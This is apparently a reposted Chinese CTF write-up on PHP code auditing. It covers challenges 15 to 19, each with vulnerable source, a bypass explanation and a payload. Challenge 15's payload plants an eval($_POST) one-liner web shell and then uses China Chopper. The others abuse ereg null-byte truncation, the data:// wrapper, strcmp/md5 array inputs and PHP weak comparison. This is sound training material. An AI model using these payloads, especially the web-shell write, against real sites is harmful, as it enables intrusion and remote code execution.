PHP代码审计之CTF系列(3) – 作者:mazihan

challenge 15

访问页面,查看源码

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = 'upload/'.$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}
过程分析

观察代码,传递file参数和path参数。并且path参数不能有回溯符,而file参数开头必须是http://127.0.0.1这样的字符串,path的参数被用作生成的文档,而file则是写入的内容【这是表面现象】然而,真正的写入一句话的玄机是echo的这句话。payload:

http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php

写入一句话,直接菜刀列举网站目录即可。-w876

file_get_contents() 函数
file_get_contents() 把整个文件读入一个字符串中。

语法
file_get_contents(path,include_path,context,start,max_length)

参数  描述
path    必需。规定要读取的文件。
include_path    可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的
话,请设置该参数为 '1'。
context    可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
若使用 NULL,则忽略。
start    可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length    可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。
绕过思路

1、URLencode进行参数加密处理【第二个file以参数形式传递,以及payload含有特殊字符】

2、满足条件,在echo语句中写一句话

challenge 16

访问页面,查看源代码

<?php
if (isset($_POST["submit"]))
{
    if (isset($_POST['hihi']))
    {
        if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
        {
            exit('<script>alert("have fun:)")</script>');
        }
        elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
        {
            if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
            {
                if (!is_array($_POST['hihi'])) {
                    include("flag.php");
                    echo "Congratulations! FLAG is : ".$flag;
                }
                else
                {
                    exit('<script>alert("nonono")</script>');
                }
            }
            else
            {
                exit('<script>alert("nonono")</script>');
            }
        }
        else
        {
            exit('<script>alert("sorry")</script>');
        }
    }
}
show_source(__FILE__);
?>
过程分析

观察代码,需要满足的条件:

1、需要post提交

2、需要提交submit参数、hihi参数

3、hihi参数需要满足:

    a、以数字字母组成
    b、长度小于11,
    c、数值要大于999999999
    d、并且需要包含`#HONG#`这样的字符。也就是最大长度从10位变成了4位,这条和第一条冲突,
    为解决这个问题,可以利用ereg的%00截断,这样长度就变成了3位,一个三位数要满足c
    的条件,就想到了科学计数法

4、payload

submit=任意字符&hihi=9e9%00#HONG#

5、从返回值得到flag -w574

绕过思路
1、ereg的%00截断

2、正则表达的基本语法

3、PHP中e字母在数字比较中特殊使用

challenge 17

访问页面,查看源代码

<?php
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
    if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if (1) {
    $smile = @file_get_contents ($_GET['^_^']);
    if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>
过程分析

服务器会包含一个flag.php文件,为了最终die($flag)的顺利执行,需要绕过上面的各种验证,而逻辑本身有两处矛盾:

$_GET数组本身提取自QUERY_STRING,$_GET['^_^']中key包含_符号,而QUERY_STRING
却不允许。
file_exists需要寻找的文件必须不存在,但file_get_contents却能读到文件内容。 
当然除了逻辑还有上面那一堆限制,比如参数的value但不可包含. % 0-9数字 http(s) 
ftp telnet关键字,文件的内容为unicode的笑脸。
绕过思路

当.或[]之类的符号作为参数的key的时候,会被PHP改写为_。file_get_contents可以获取远程数据,但常用网络协议已经被正则过滤,因此需要选取其他协议。查阅PHP支持的协议和包装,发现RFC 2397的data协议可用。巧合的是,file_exists对于data指向内容判断为不存在。 最终构造url为:

http://www.ctf.com/3.php?^.^=data://text/plain;charset=unicode,(●'◡'●)

challenge 18

访问网页,查看源码

<?php
    if(isset($_POST['login']))
     {
        if(isset($_POST['user']))
        {
            if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
            {
                die('user错误!');
            }
        }
        if (isset($_POST['name']) && isset($_POST['password']))
        {
            if ($_POST['name'] == $_POST['password'] )
            {
                die('账号密码不能一致!');
            }
            if (md5($_POST['name']) === md5($_POST['password']))
            {
                if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
                {
                        if($_POST['id']==72)
                            die("flag{xxxxxxxxxxxxx}");
                        else
                            die("ID错误2!");
                }
                else
                {
                    die("ID错误1!");
                }
            }
            else
                die('账号密码错误!');
        }
     }
 ?>
过程分析

1、post接受参数login、user、其user和常量USER做比较,比较函数strcmp,当strcmp第一个参数小于第二个参数时,返回值为负一,反之为正一,相等时为零。在不知道常量USER的情况下,满足条件,可以破坏数据结构,参数字符串改成数据,即可得到false值

2、post值name、password,这两个值不能一样,但是md5的值要一样,这是全类型比较,所以这里也是破坏结构,传递数组

3、post的id值,需要是数字,if中全类型比较,不是72,可以使用小数类型绕过,然后不含空格

4、payload为:login=1&user[]=2&name[]=xiaohong&password[]=xiaoming&id=72.0

绕过思路

1、PHP全类型比较和弱类型比较

2、不合规数据类型在函数中的特殊使用

3、strcmp、md5传递数组 返回 null

challenge 19

访问页面,查看源代码

$sss=$_GET['sss'];
if(strlen($sss)==666){
    if(!preg_match("/[^0-6]/",$sss)){
        eval('$sss='.$sss.';');
        if($sss!=='0x666'){
            if($sss=='0x666'){
                echo $flag;
            }
        }
    }
}
过程分析

1、if(strlen($sss)==666) $sss的长度等于 666

2、if(!preg_match("/[^0-6]/",$sss)) $sss只能包含 0–6 的数字

3、$sss !== '0x666'$sss == '0x666' 可知 $sss 的值需要等于数值 0x666,而又不能等于字符串 ‘0x666’,其中涉及PHP的弱类型比较

绕过思路

需要创建一个长度为 666 ,只包含0 — 6的数字,数值上等于 0x666且不等于字符串 ‘0x666’的参数,所以我们用八进制就可以搞定了。payload000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000003146

PHP进制说明:
1、十六进制:0x开头

2、八进制:0开头

3、二进制:0b开头

弱类型比较说明:
1、php7中不成立: if(1638=='0x666')echo 2;此为flase

2、php5中成立:if(1638=='0x666')echo 2;此为true

关注我们

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

ewm.png

来源:freebuf.com 2020-04-14 14:07:53 by: mazihan

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论